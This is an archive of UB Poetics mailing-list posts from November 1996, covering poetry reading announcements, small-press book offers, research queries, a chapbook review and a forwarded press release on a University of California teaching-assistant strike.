>the Queen Victoria Art Gallery and Museum.

>
>
>*********
>
>Order by sending Aust$10.00 (plus $1 postage) (overseas orders please
>contact us first for postage & conversion) to AWOL PO Box 333 Concord NSW
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>Phone 61 2 7475667, Mobile 015063970
>Fax 61 2 7472802
>
>
>
>
Mark Roberts
Student Systems Project Officer
& User Representative SIS Team.
Information Systems
University of Sydney NSW 2006 Australia
Ph. (02) 93517710
Mobile 015063970
Fax (02) 93517711

↑ Index

118. **Aldon L. Nielsen**

Re: sun ra

Wed 6 Nov 1996

Relieved to hear of Marshall Allen's coninued participation in earthly delights --

only vinyl I know of here is in my closet -- BUT

should have mentioned this AM:

Sun Ra Quarterly
Omni Press
P.O. Box 786
Millbrae, CA 94030

sub. == $16.00 contains interviews, photos, etc.

↑ Index

119. Kevin Killian
San Francisco Premonitions Reading
Wed 6 Nov 1996

This is Dodie Bellamy. Small Press Traffic is happy to present a reading of Northern California contributors to the wonderful Premonitions anthology--including a rare appearance from the Poetics List's own Walter Lew. Here's an announcement:

Small Press Traffic presents

Premonitions
readings by
Myung Mi Kim
Celine Salazar Parrenas
Ronald Phillip Tanaka
and editor Walter K. Lew

Friday, November 15, 1996
7:30 p.m.
at the New College Theater
777 Valencia Street, SF
$5

Premonitions, The Kaya Anthology of New Asian North American Poetry, edited by Walter K. Lew, is one of the most exciting books in years. Small Press Traffic is pleased to present its editor, Walter K. Lew, and some of his local contributors. As Maria Damon has written, ³An exquisite artifact of activist experimentalism, theoretically smart and so beautiful it hurts, _Premonitions_ promises to be a landmark in American letters for many years to come.²

Myung Mi Kim teaches Creative Writing at San Francisco State University. She is the author of _Under Flag_ and _The Bounty_.

Celine Salazar Parrenas is working on her MFA in Film and Television at UCLA. Her films include _Her Uprooting Plants Her_ and _Mahal Means Love and Expensive_.

Ronald Phillip Tanaka is a photographer and Professor of English at California State University, Sacramento. He is the author of _The Shino Suite: Sansei Poetry_.

Walter K. Lew is the author of _Excerpts from: IKTH DIKTE for DICTEE_. He edited the inaugural volume of _Muæ: A Journal of Transcultural Production_, selected by _Library Journal_ as one of the top new magazines of 1995. Lew's translations of the Korean poetry of Yi Sang appear in _Poems for the Millennium: The University of California Book of Modern & Postmodern Poetry_, Vol. 1.

↑ Index

120. Curtis J Leitz
Madeline Gleason query
Wed 6 Nov 1996

Howdy:

I'm new to the list and must say that i'm impressed with its energy and enthusiasm. I'd like to tap some of that power and put it toward a search i've just begun for information on Madeline Gleason's activities in the 1940s and 1950s, particularly those involving reading groups, the S.F. State Poetry Center, and the S.F. Poetry Guild. Right now i'm trying to track down unpublished and published info alike, and would appreciate any info, tips, sources, names, etc. that anyone might backchannel my way. Thanks much.

Curt Leitz

↑ Index

121. Gabrielle Welford
Frontline Feminism conference mailing list (fwd)
Thu 7 Nov 1996

To Whom it May Concern,

The Center for Women in Coalition is preparing to mail out posters/registration forms for the Jan. 1997 Conference "Frontline Feminisms." Many of you have expressed interest in this conference and would like to have more information or a registration form. However, CWIC does not have your mailing address. If you would like to receive a FF poster or be included in our mailing database, please reply to this e-mail address with your complete mailing information.

Thank You For Your Cooperation and Interest.

Melissa Fabros
Center for Women in Coalition

↑ Index

122. Stephen Cope
Re: sun ra
Thu 7 Nov 1996

For those who've room left in their mailboxes, there's a Sun Ra list which can be reached at [redacted]. It's a particularly good resource for those interested in rare, op, Sun Ra titles and upcoming shows, events, etc. I know that there was an auction held earlier this year (which featured some Arkestra titles as well as many other jazz titles, rare and otherwise) that was to benefit the Arkestra and the various illnesses therein. A post to the Saturn list should yield further details...

-Stephen Cope

↑ Index

123. wheeler
Events
Thu 7 Nov 1996

Will be in London Nov 29 - Dec 1
& San Francisco Dec 6 - 9

Readings recommended? (I hear I'll just miss Oppen lecture Dec 5)

Susan Wheeler
37 Washington Square West #10A
New York, New York 10011
[redacted]

↑ Index

124. Michael Boughn
looking for basinski
Thu 7 Nov 1996

Sorry to bother the list with this.

Mike Basinski, would you contact me personally, please. I've lost your address and need some help.

Thanks,
Mike
[redacted]

↑ Index

125. **ms**
readings
Thu 7 Nov 1996

---

in case anyone is going to be in the(new york) city this weekend:

an alumni of SUNYAlbany, Michael Blitz, who is now an assoc.prof at John Jay College of Criminal Justice will be reading at Biblio's (two blocks south of Canal St on Chruch) this Sunday at 5 pm.

Michael is one hell of a poet (pick up, scour for: _Five Days in the Electric Chair_, or his more recent _Suction Files_, both by Woodbine Press) and a damn fine lunatic when examined closely.

but the reading should go as all readings do, but better.

just a note to anyone who's interested,
manny savopoulos

↑ Index

126. **k.a. hehir**
help please
Thu 7 Nov 1996

---

hello all,
does anyone have the eddress of western canadian poet dennis cooley? is he(areyou) on this list?

thanks in advance.
kevin
[redacted]

↑ Index

127. **James Sherry**
ROOF BOOK SPECIAL OFFER PRELIM. RESULTS (fwd)
Thu 7 Nov 1996

Well folks, the preliminary results are in from our ROOF BOOKS special offer and sadly, we cannot claim the huge success we did last time, when we recorded nearly 100 orders. We are nonetheless very appreciative of the orders we have received thus far and hope that some of you others out there will realize just what an amazing deal this Special Offer is. SO DON'T MISS OUT, ORDER NOW!

We can only continue to make these periodic sales to the list if we accumulate the volume necessary to warrant the low $5.00 price. I hope those of you who

haven't ordered yet, will take another look at the quality of the authors and works represented. Think of the excitement of receiving three shiny new ROOF Books in the mail for only $15.00. This is the last offer ROOF will make to the list for a long while, so order now, before the fast approaching deadline, coinciding with the release of our new fall/winter line of titles. What's more, we are extending our deadline two more days to November 17, midnight, in honor of Charles Bernstein and Australian poet John Kinsella's reading at The Segue Performance Space, 7 p.m., 303 E. 8th Street (betw B&C), NY, NY 10009, same address as ROOF BOOKS. And make those checks for the books payable to "The Segue Foundation". For international orders, please add $1 per book to cover shipping and make checks payable in US dollars.

Here's the original offer:

Date: Wed, 16 Oct 1996 19:14:25 -0400 (EDT)
From: James Sherry <[redacted]>
To: UB Poetics discussion group <[redacted]>
Cc: [redacted]
Subject: ROOF BOOK SPECIAL OFFER

> *ROOF BOOKS is making a special offer*
>
> *to Poetics Subscribers <<ONLY>>*
>
> *Poetics Subscribers may buy from the following list of Roof Books for $5*
> *(five dollars) each. In order to qualify for this offer you must*
> *order a minimum of 3 (three) books from the list of titles below.*
> *Postage is free 4th class book rate*
> *(allow two weeks for processing and delivery). You must order by*
> *November 15, 1996 to receive this offer.*
>
> *To order simply forward this message to [redacted]: include*
> *your name, shipping address, and the list of books you want. Please*
> *make sure, however, you do not press reply, or you will respond to the*
> *entire poetics list and we don't want that.*
>
> *Roof Books will ship you the books, postage free with a stamped envelope*
> *and a bill. Upon receipt of your books, you send Roof a Check.*
> *Important: Checks must be payable to: "THE SEGUE FOUNDATION, INC."*
> *(put "Roof Spec. Offer: #books" in byline).*
>
> *List of special offer Roof Books: Again, you must order three.*
>
> *Bruce Andrews, Ex Why Zee*
> *Alan Davies, Signage*
> *Jean Day, A Young Recruit*
> *Ray Di Palma, Motion of the Cypher*

> *Ken Edwards, Good Science*
> *Larry Eigner, Areas Lights Heights*
> *Laura Moriarty, Rondeaux*
> *Nick Piombino, The Boundary of Blur*
> *Ron Silliman, N/O*
> *Diane Ward, Relation*
>
> *We had a fine response to last season's offer. Many people ordered & all responded promptly with their checks. 100% satisfaction on both ends. So...*
>
> *Order Today*

↑ Index

128. Mark Nowak
Paul Metcalf Readings
Thu 7 Nov 1996

For list folks in the Midwest, just got this news in
in November readings by Paul Metcalf:

November 13th: Borders, Calhoun Square, Minneapolis, 7:30pm

November 19th: Hungry Mind Bookstore, St. Paul, 7:00pm

November 21st: 57th Street Books, Chicago, 7:00pm

November 23rd: Woodland Pattern, Milwaukee (no time given)

I'll probaby be at both Twin Cities events, if anyone
wants to grab food or coffee before or after.

Mark Nowak
[redacted]

↑ Index

129. Rod Smith
Onward: Contemporary Poetry & Poetics
Thu 7 Nov 1996

Announcing availability of _Onward: Contemporary Poetry & Poetics_ edited by Peter Baker, Peter Lang Publishing, $29.95, 439 pages, paperback.

Contents

Bernadette Mayer -- Twenty Questions about Form or New Forms / Experimental
Writing, or, Writing the Long Work/ Poems
Lyn Hejinian -- The Rejection of Closure / Poems from The Cell
Charles Bernstein -- The Parts Are Greater than the Sum of the Whole
Rosmarie Waldrop -- Thinking of Follows / Inserting the Mirror
Harry Mathews -- Dormouse Poem
David Bergman -- Staying in the Lines
John Taggart -- Were You: Notes & A Poem for Michael Palmer
Rachel Blau DuPlessis -- On Drafts: A Memorandum of Understanding / Draft 11:
Schwa
C. D. Wright -- Provisional Remarks... / Op Ed / the box this comes in/ Poems from Tremble
Albert Cook -- Poetic Purposes / Syllabic Margin / Poems
Robert Creeley -- Was That a Real Poem or Did You Just Make It up Yourself? / Nothing New / Four Days in Vermont
Stephen Rodefer -- Preface to Four Lectures / Prologue to Language Doubling / Enclosure of Elk / The Library of Label / Poems
Clark Coolidge -- from Notebooks / Regarding Morton Feldman's Music. . . / Letters / Poems
Michael Palmer -- Active Boundaries / Autobiography / Far Away Near
Joan Retallack -- The Poethical Wager / AUTOBIOGRAPHIALITTERARIA II / The Woman in the Chinese Room
Nicole Brossard -- Fluid Arguments
Carolyn Forche -- On Subjectivity / Poems
Bob Perelman -- Statement /The Marginalization of Poetry / The Manchurian Candidate: A Remake
Barrett Watten -- Nonnarrative/History / Position/ Bad History I
John Ashbery -- PN Interview / Poems from Houseboat Days

Because Lang has published this as a textbook we cannot offer the usual discount/free freight deal you've come to know & love. So it's $29.95 plus two or three dollars shipping, depending on where you are.

To order: 1. E-mail your order to [redacted] with your address & we will bill you with the book. or 2. via credit card-- you may call us at [redacted] or e-mail [redacted] w/ yr add, order, card # & expiraton date, we will send a receipt with the book.

Bridge Street Books, 2814 Pennsylvania Ave NW, Wahsington, DC 20007.

↑ Index

130. Christina Fairbank Chirot
WOODLAND PATTERN READINGS
Thu 7 Nov 1996

High level of excitement here with Packers' upcoming swing
through KC, Dallas and Chicago--
while Pack is on the road upcoming
readings
at Woodland
Pattern
Book Center
here in Milwaukee
to raise even higher cheers and excitement & "take it to another level"--

November 17,(Sunday) 7:00 pm: JAAP BLONK

"Being there on stage is a higher and more intense mode of existence . . . the quintessence of sound poetry is performance"--Jaap Blonk.

Blonk will be performing his own work as well as works by Kurt Scwitters, Hugo Ball, Antonin Artaud and Dick Higgins.

November 23 (Saturday) 8:00 pm PAUL METCALF

"I once wrote an essay, "Totem Paul: A Self Review" in which I used the image of the totem pole--a narrative hieroglyph--as an analog to my work. The juxtaposed figures on totem poles may be read as tribal history, which was the intention of the artisans who carved them. Earlier, in talking of my efforts, I would mention 'mosaic' or 'collage'; I think the totem pole, with the narrative dynamic, is more apt."--Paul Metcalf. Volume One of Metcalf's Collected Works is just out from Coffee House. Highly recommend this to readers--especially GENOA and THE MIDDLE PASSAGE: A TRYPTICH OF COMMODITIES

NOVEMBER 22-DECEMBER 31 ART EXHIBIT: JOHN BRANDI

DECEMBER 7 (Saturday) 8:00 pm: JOHN BRANDI & KYOKO MORI

Woodland Pattern Book Center
720 East Locust
Milwaukee, WI. 53212 Admission: Advance tickets
phone: [redacted] & members: $5.00
General
Public: $6.00

↑ Index

131. Scott Bentley
Lawrence Raab
Fri 8 Nov 1996

One of my students told me that she's been looking all over for information on Lawrence Raab and can't find anything. She asked me for help, but alas I wasn't much. Does anyone have any bright ideas for locating information about Lawrence Raab? About all I know of him is that he wrote a really great poem called ATTACK OF THE CRAB MONSTERS that comes at the end of some Norton Anthology that I once wrote. If anyone can be of any help, please backchannel me. Thanks, Scott Bentley

↑ Index

132. George Bowering
Re: help please
Fri 8 Nov 1996

> *hello all,*
> *does anyone have the eddress of western canadian poet dennis cooley? is he(areyou) on this list?*
>
> *thanks in advance.*
> *kevin*
> [redacted]

You can try him at work. English dept., St. John's College, University of manitoba, Winnipeg.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

133. maria damon
Re: Lawrence Raab
Fri 8 Nov 1996

i believe lawrence raab teaches at williams college in williamstown massachusetts if he has not yet retired. maybe he'd know about work about him. md

In message <[redacted]> UB Poetics discussion
group writes:
> One of my students told me that she's been looking all over for information
> on Lawrence Raab and can't find anything. She asked me for help, but alas I
> wasn't much. Does anyone have any bright ideas for locating information
about
> Lawrence Raab? About all I know of him is that he wrote a really great poem
> called ATTACK OF THE CRAB MONSTERS that comes at the end of some
Norton
> Anthology that I once wrote. If anyone can be of any help, please backchannel
> me. Thanks, Scott Bentley

↑ Index

134. Pritchett,Pat
Re: Bettman archives
Fri 8 Nov 1996

Dear Listers,

I feel somewhat silly putting this request out, but I'm unable to find the whereabouts of the Bettman Archive. Thought it was in Baltimore. Does anyone know which city it's in? Please backchannel. Thanks.

Patrick Pritchett
[redacted]

↑ Index

135. Bill Luoma
Ange Mlinko & Edwin Torres @ Ear Inn Sat 2:30
Fri 8 Nov 1996

---

for those of you in the nyc area: please come to the Ear Inn Sat nov 9 @ 2:30 to hear sound poet Edwin Torres and poet poet Ange Mlinko.

The Ear Inn is located at 326 Spring Street far west. It has a green door.

↑ Index

136. Ian Wilson
Yeats Assistance
Fri 8 Nov 1996

After a long, frustrated Melvyl search, I turn to the lists for assistance.

Does anyone know of a book which sets Yeats' poems side by side against the prose sketch which provided the impetus for the poem?

Thanks.

Ian Wilson
Loyola Marymount University, Los Angeles
[redacted]
http://www.iglou.com/irwilson/index.shtml

↑ Index

137. Henry Gould

Fridays' bk review (longish)

Fri 8 Nov 1996

Kristen Prevallet
Lead, Glass and Poppy
Washington DC: primitive publications, 1996

[WARNING: the Surgeon General has declared that pre-contextualization may be hazardous to your health & literary sensibilities.]

Like Hesiod and Jimi Hendrix before her, Kristen Prevallet is fascinated with cosmic phenomena - asteroids, UFOs, the ends of the world(s). She brings to these interests a penetrating critical intelligence & a multifarious poetic talent. In this chapbook-length short-long poem, as in her previous work (see for example her longish poem "Mad Sarah" in Nedge #4) she manages a balancing act which is crucial to serious poetry, in my view: she pays full due to metaphysics and the religious sense & its human centrality - but counterweights it with a critical awareness of the fallibility (& tragicomic nonsense) of human mythical constructs. What results is a "poetic mythology" which is aware of the global predicament of the present - an historical-political-ecological awareness - infiltrated by a need for faith and its artistic embodiments.

But don't let reviewistic portentousness obscure the reader's sense of the author's humor, wit & style. Her balance of faith/irony is mirrored in a genuine balance of style/material. Many are the poets on the one hand who pour out lugubrious documentary/personal rants; many on the other who are smothered in style: meaningless sound, arbitrary syntax, put-on artiness. Few like Prevallet manage to balance the logic of the theme with the form of the poem. This poem is structured in two columns, divided by the spine of the pamphlet (the "spine" itself becoming a Dantesque symbol of the cosmic-human book of life). On the left hand, the narrator speaks, in a voice which modulates between the oracular & the personal/ demotic. On the right hand, quotations, documentary evidence, which "comment" on the text (& vice versa). I can't replicate this format here, but will provide a couple of excerpts. The poem opens as follows:

[on left side, lines flush to left margin:]

Often there is a star
comes down from the blue
and lands in the deepest part
where a heart and the flesh
that beats it out
in a trickle of daylight and ash
does conspire to hold
all flying things "sacred"
as bombs and Eros
collide with the same surface
and mark their intent
with an obliteration
elemental as fire
but not as blood-soaked-through
with disasters and near losses
not of faith but of what faith has become
now that the object of sacrifice
is not fit for the faint of heart
because it is real.

[on the right hand side:]

When Comet Hyakutake
streaked close to earth last week,
a German scientific spacecraft made a
discovery that has astonished and
puzzled astrophysicists. The
comet was emitting X-rays
in a crescent pattern on
its sunward side. (1)

The dead, 13 adults
and 3 small children, were found
in a circle around the remains of a
campfire, laid out on the bare
ground in a sunburst pattern.(2)

[all the sources are footnoted]

This is the first page. The poem moves into a contemplation of global/ apocalyptic reality; there is an American sense of the steep folly & intense absurdity of religious enthusiasm yoked to an understanding of faith as a conceptual necessity. There is an underlining of sacrifice and mob violence at the roots of social organization which draws perhaps on the anthropology of Rene Girard. The news clips & funny/weird ritual/astronomical information give the poem a

paradoxical realism. The poem's title refers to materials in painter Anselm Kiefer's massive "Angel of History", a sculpture-painting of a huge corroded bomber (now in the D.C. National Gallery) which expresses a parallel sense of apocalyptic/historical doom & pathos. Yet the poem ends on a note of survival-through-understanding which is the conceptual motor of the work's entirety.

All and all, this reporter is energized by the poem's combined breadth of vision & concise, unpretentious style. I'd like to quote more but maybe somebody else will. Get ahold of this little gem of an atmospheric anomaly radar consternation. Oh, by the way - the Martians have landed in New Jersey. Stay tuned. - Henry Gould

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138. **Joe Amato**
Re: Fridays' bk review (longish)
Fri 8 Nov 1996

---

just to second henry's (and pierre's earlier) positive appraisal of kristen prevallet's carefully constructed _lead, glass and poppy_ (washington dc: primitive publications, 1996)...

well worth checking out!...

joe

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139. **Louis Cabri**
South African
Fri 8 Nov 1996

There was a friend of Tom Raworth's from South Africa at the New Hampshire conference -- does anyone know his name?
Good to ghosts,
Louis

↑ Index

140. **Louis Cabri**
South Africa
Fri 8 Nov 1996

And if you are on the list, hello!
ghosted,
l

↑ Index

141. **Jeffrey W. Timmons**
Univ of California TAs Set to Strike (fwd)
Fri 8 Nov 1996

Association of Graduate Student Employees (AGSE) Press Release Being Forwarded by National Association of Graduate-Professional Students

#####

PRESS
RELEASE

November 6, 1996 Contact: AGSE [redacted]

Grad Student Instructor Strike Dates Set
Rolling Strikes Will Affect Multiple UC Campuses

Berkeley, November 6--The executive board of the Association of Graduate Student Employees (AGSE/UAW) today announced the dates of a Graduate Student Instructor (GSI) strike on the Berkeley campus. The Berkeley union will join sister unions at other UC campuses in a series of coordinated actions across the University of California system, with GSIs at Berkeley beginning their three-day strike on Wednesday, November 20th. This follows a decision by The University of California, Los Angeles administration Monday to appeal a legal decision that found teaching assistants, readers and tutors have collective bargaining rights under state law. In response, union leadership at UCLA announced that the week of action would begin at their campus, with a five-day strike commencing November 18th.

The coordinated actions will escalate throughout the week if the UC fails to implement the recent legal decision upholding collective bargaining rights for academic student employees.

If the UC administration does not grant recognition by 5 p.m. on November 17th, Student Association of Graduate Employees (SAGE/UAW) members at UCLA will go on strike on November 18th. Thereafter, if the UC does not grant recognition by 5 p.m. on November 18th, members of the Association of Student Employees (ASE/UAW) at the University of California, San Diego will go on strike on November 19th. And if UC does not grant recognition by 5 p.m. on November 19th, AGSE/UAW members at Berkeley will join their sister unions with a GSI strike on the Berkeley campus (GSIs are also commonly known as teaching assistants or TAs). Actions on other UC campuses will also escalate pressure on the UC administration throughout the week.

AGSE/UAW has been seeking collective bargaining rights for academic student employees (ASEs)-graduate student instructors, graduate student researchers, readers, tutors, and acting instructors-at UC Berkeley since 1983. Thus far,

Berkeley administration has extended collective bargaining only to readers, tutors, and acting instructors. AGSE/UAW's members, along with members of AGSE/UAW's sister-unions at Los Angeles and San Diego, voted last spring to strike unless the UC administration granted recognition for ASEs. Last week, following the administration's failure to accept a settlement offer, AGSE membership voted overwhelmingly in favor of a motion to carry out a three-day strike as part of a system-wide action. In all, 10,000 out of 15,000 academic student employees system-wide have signed cards indicating their desire for union representation.

A Public Employment Relations Board (PERB) judge ruled in September that GSIs, readers, and tutors at UCLA do have collective bargaining rights. AGSE/UAW members joined members of the other campus unions in disagreeing with the judge's finding that the university is not required to recognize the collective bargaining rights of research assistants. But the unions decided to accept the judge's interpretation of the current state law and called on the university administration to implement the decision.

The university's failure to accept this offer prompted the union's October 30th decision to set the strike length at three days. "GSIs are responsible for 60 percent of undergraduate teaching. We don't want to cause any more disruption than is necessary to make the administration take us seriously," said AGSE/UAW president Lily Khadjavi.

The UC administration has already spent millions of dollars in public funds on its legal efforts to resist collective bargaining for academic student employees, even though the administration acknowledges the right of most other UC employees to bargain collectively.

Jim Freeman
Financial Secretary

Please include a copy of this message in your reply for our reference.

****
AGSE/UAW Local 2165 Phone: [redacted]
2372 Ellsworth Fax: [redacted]
Berkeley, CA 94704 e-mail: [redacted]
****

FORWARDED BY
========== | >>>> The National Association of Graduate - Professional Students <<<< | | 825 Green Bay Road, Suite 270 PHONE: [redacted] | | Wilmette, IL 60091 FAX: [redacted] | | Toll Free 1-888-88-NAGPS * Email to: [redacted] |

---------- | NAGPS 12th National Conference - New Orleans, Louisiana | | October 30 - November 2, 1997 | +----------+----------+ | To access the NAGPS Internet Job Bank, send email to [redacted] | *----------+----------* | #### WWW Site > http://www.nagps.org/NAGPS/ #### |
==========

This message | Help on the lists [redacted] sent using the | Subscribe/remove/etc. [redacted] NAGPS E-mail | General talk list [redacted] Server | Reach NAGPS officers [redacted]

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142. **George Bowering**
Re: South African
Fri 8 Nov 1996

> *There was a friend of Tom Raworth's from South Africa at the New Hampshire conference -- does anyone know his name?*
> *Good to ghosts,*
> *Louis*

Hey, I was in South Africa at a writers' festival in July, and no one there said anything about being Tom's friend. In fact, I heard 6 writers say they would throw him into the Atlantic if he showed his face. That's what they said.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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143. **Eliza McGrand- CVA Guest**
Re: South African
Sat 9 Nov 1996

bullwah george bowering. they said they'd throw YOU into the atlantic and you're just projecting again...

honestly, after a couple of drinks, i hear you're offering dildos and a look at your french postcards to anyone, not to mention talk of etchings in your hotel room... e

↑ Index

144. Kevin Killian
Re: John Kinsella
Sat 9 Nov 1996

At 9:28 AM 11/9/96, Douglas Barbour wrote:

> *San Francisco Nov 23*

Actually, John Kinsella is reading in San Francisco on November 22. Small Press Traffic is presenting him with Lyn Hejinian (at the New College Theater).

Dodie

↑ Index

145. Ron Silliman
Comrade Bill
Sat 9 Nov 1996

>From: "Pritchett,Pat @Silverplume" <[redacted]>
>Subject: Re: Bettman archives
>
>Dear Listers,
>
>I feel somewhat silly putting this request out, but I'm unable to find
the
>whereabouts of the Bettman Archive. Thought it was in Baltimore. Does
anyone
>know which city it's in?
>Please backchannel. Thanks.
>
>Patrick Pritchett
>[redacted]
>

Don't know about the physical location, but our boy, Bill Gates, has acquired the rights to digitize and "image" all of it. Ditto the complete works of Ansel Adams. (I'll begin to worry if he acquires the rights to Robert Frank and Nan Golden.) You might try technical support at Microsoft.

Ron Silliman

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146. **Pritchett,Pat**
Re: Comrade Bill
Sat 9 Nov 1996

Ron,

Thanks. I found out they're in NYC. Which the 411 operators neglected to tell me. I guess Billy Boy won't rest till we've all been reduced to a gigabyte or so and stored away in a vault somewheres - like the CD-ROM "construct" in _Neuromancer_. _____

Herb,

I'll check out that site. Thanks.

Patrick Pritchett

From: Herb Levy
To: Multiple recipients of list POETICS
Subject: Re: Comrade Bill
Date: Saturday, November 09, 1996 10:33AM

> *From: "Pritchett,Pat @Silverplume" <[redacted]>*
> *Subject: Re: Bettman archives*
>
> *Dear Listers,*
>
> *I feel somewhat silly putting this request out, but I'm unable to find the*
> *whereabouts of the Bettman Archive. Thought it was in Baltimore. Does anyone*
> *know which city it's in?*
> *Please backchannel. Thanks.*
>
> *Patrick Pritchett*
> [redacted]
>
> *----------*
>
> *Don't know about the physical location, but our boy, Bill Gates, has acquired the rights to digitize and "image" all of it. Ditto the complete works of Ansel Adams. (I'll begin to worry if he acquires the rights to Robert Frank and Nan Golden.) You might try technical support at Microsoft.*
>
> *Ron Silliman*

Microsoft tech support would more clueless about this than usual (do they still have live DJs on the hold lines?) The Bettman & Adams stuff is handled by Corbis, Gates' other company. This one's being positioned to do big business in digital stock photos, but for now they're losing money big time.

I haven't looked in a while, but there's a Web site that may be useful.

<http://www.corbis.com/>

Herb Levy
[redacted]

↑ Index

147. Douglas Barbour
Re: Tony Lopez
Sat 9 Nov 1996

Tony Lopez, who was mentioned positively in that (in)famous review of _Conductors of Chaos_ is on a shortish tour of the Canadian West & California. He read at the University of Calgary on November 6 & the University of Alberta on November 7. From what he said, the reading at U of C was very good, I can testify that the reading at U of A was terrific. There was an audience of over 40, mostly students in the poetry writing classes, most of whom have not come across the kind of new writing Tony represents. They listened very keenly to his reading, which was soft-spokenly intense, rhythmically varied, & wonderfully complex in its collage of discourses. Lopez read a number of shorter works, talked a bit about what he does, then read one long section from his ongoing work-in-progress, _False Memory_ (6 sections of which are published under that title by The Figures: a book to get now). This was simply a very fine reading, & a real eye-opener for the audience here.

Lopez will be in British Columbia for the next week or so, then in LA & possibly at UC San Diego: if youre in the ares, check & see if you can catch him.

Each section of _False Memory_ is made up of ten 14 line parts. Lopez seeks to mix & match various discourses for a complex political effect. Here's just the opening section of 'Brought Forward,' the section he read here:

This is not the time to write as if you believe
In a time of writing. Most authors view cell death
As a landmark or end point for experiments
With other goals in distantly related fields.
So I would have it, letting the grass grow over
As we wade ashore in a costume re-enactment
Of the grand colonial adventure. We call it
"First Landfall in Provincetown," after the event

Unsettled by a cautious trading statement.
Posing as messengers of an unknown nature
With all our cameras running: a repeat, a sequel,
Filming some years after _Apocalypse Now_.
The comparison between Prozac and Ecstacy
May well be misleadingand irresponsible.

========== Douglas Barbour Department of English 'The universe opens. I close. University of Alberta
And open, just to surprise you.' Edmonton Alberta T6G 2E5 [redacted] FAX: [redacted] - Phyllis Webb H: [redacted]

↑ Index

148. **Herb Levy**
Re: Comrade Bill
Sat 9 Nov 1996

> *From: "Pritchett,Pat @Silverplume" <[redacted]>*
> *Subject: Re: Bettman archives*
>
> *Dear Listers,*
>
> *I feel somewhat silly putting this request out, but I'm unable to find the*
> *whereabouts of the Bettman Archive. Thought it was in Baltimore. Does anyone*
> *know which city it's in?*
> *Please backchannel. Thanks.*
>
> *Patrick Pritchett*
> *[redacted]*
>
> *---*
>
> *Don't know about the physical location, but our boy, Bill Gates, has*
> *acquired the rights to digitize and "image" all of it. Ditto the*
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> *rights to Robert Frank and Nan Golden.) You might try technical*
> *support at Microsoft.*
>
> *Ron Silliman*

Microsoft tech support would more clueless about this than usual (do they still have live DJs on the hold lines?) The Bettman & Adams stuff is handled by

Corbis, Gates' other company. This one's being positioned to do big business in digital stock photos, but for now they're losing money big time.

I haven't looked in a while, but there's a Web site that may be useful.

<http://www.corbis.com/>

Herb Levy

[redacted]

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149. **Douglas Barbour**

Re: John Kinsella

Sat 9 Nov 1996

As The Australian Council for the Arts has asked me to be the 'official' coordinator of John Kinsella's upcoming tour of the US & Canada, I thought it would be a good idea to let people on this list know about it. John sometimes posts here, so you will know the name. He is one of the finest younger Australian poets, with a startlingly wide range, & able to do the job in all the kinds of poetry he writes. Lyn Hejinian wrote quite correctly of his recent _Erratum/Frame(d)_ (in her Preface): It has often been remarked that John Kinsella has two bodies of work. His very recent volume, _The Silo: A Pastoral Symphony_ (one notes that its title foregrounds a musical analogy) can be cited as exemplary of a meditative, narrative mode of poetry, while the work collected here could be said to represent his interests in the 'experimental'. But the difference between the books is, in fact, an epistemological one -- a question of where what's known lies. And this, in turn, is a temporal question. _The Silo_ is a book of memory -- and inevitably, a book of landscapes, since it is in landscapes that the past is most clearly embodied in present forms. _Erratum/Frame(d)_ is a book of the present 'denying its geography, blurring genre.'

I dont have the venues, except for the University of Calgary, University of Alberta, and University of Northern British Columbia, but Kinsella will be in Buffalo Nov 7; Burlington Nov 8-9; Boston Nov 13; Portland Nov 15; Newark Nov 21; San Francisco Nov 23; Newark (New York?) Nov 24; Edmonton Nov 26; Prince George Nov 28; Calgary Nov 29 (I got these dates & places from his itinerary, so the readings in some places may be a bit tentative). Look for announcements, & catch this fine young poet from Australia, made possible by a grant from The Australian Council for the Arts and the various host institutions.

==========
========== Douglas Barbour Department

of English 'The universe opens. I close. University of Alberta
And open, just to surprise you.' Edmonton Alberta T6G 2E5 [redacted] FAX:
[redacted] - Phyllis Webb H: [redacted]

↑ Index

150. Pritchett,Pat
Re: it ain't over till it ain't over
Sat 9 Nov 1996

Another query, please:

I'm trying to track down the source of Faulkner's famous quote, which goes something like: "The past is never dead. It's not even the past." Nobel Prize speech? Or interview? Or what? I'm using it in a paper on Michelle Cliff's _Free Enterprise_.

Thanks,
Patrick Pritchett
[redacted]

↑ Index

151. Steve Evans
Mario Savio (1943-96)
Sat 9 Nov 1996

Forwarded from the Marxist Literary Group list:

> *"There is a time when the operation of the machine becomes so odious, makes you so SICK AT HEART, that you can't take part; and you've got to put your bodies upon the gears and upon the wheels, upon the levers, upon all the apparatus and you've got to make it stop."*
>
> *Mario Savo, spokesperson for the 1964 Berkeley Free Speech Movement, died of heart failure on Wed., Nov. 6, near Sonoma State College in Calf. where he taught math and philosophy.*

-=-=-=-=-=-=
>Date: Fri, 8 Nov 96 01:31:12 -0500
>From: alan wald <[redacted]>
>To: [redacted], [redacted], [redacted],
> [redacted], [redacted],
> [redacted], [redacted],
> [redacted], [redacted], [redacted]
>Subject: Mario Savio (1943-96)

↑ Index

152. **Pritchett,Pat**
Re: Fridays' bk review (longish)
Sat 9 Nov 1996

Henry -

Great review! And great excerpts from Kristen's book! I know there was a posting last week on how to get it, but my mail crashed and I lost it. Could someone please re-post that info?

Thanks,
Patrick Pritchett
[redacted]

From: Henry Gould
To: Multiple recipients of list POETICS
Subject: Fridays' bk review (longish)
Date: Friday, November 08, 1996 3:23PM

Kristen Prevallet
Lead, Glass and Poppy
Washington DC: primitive publications, 1996

[WARNING: the Surgeon General has declared that pre-contextualization may be hazardous to your health & literary sensibilities.]

Like Hesiod and Jimi Hendrix before her, Kristen Prevallet is fascinated with cosmic phenomena - asteroids, UFOs, the ends of the world(s). She brings to these interests a penetrating critical intelligence & a multifarious poetic talent. In this chapbook-length short-long poem, as in her previous work (see for example her longish poem "Mad Sarah" in Nedge #4) she manages a balancing act which is crucial to serious poetry, in my view: she pays full due to metaphysics and the religious sense & its human centrality - but counterweights it with a critical awareness of the fallibility (& tragicomic nonsense) of human mythical constructs. What results is a "poetic mythology" which is aware of the global predicament of the present - an historical-political-ecological awareness - infiltrated by a need for faith and its artistic embodiments.

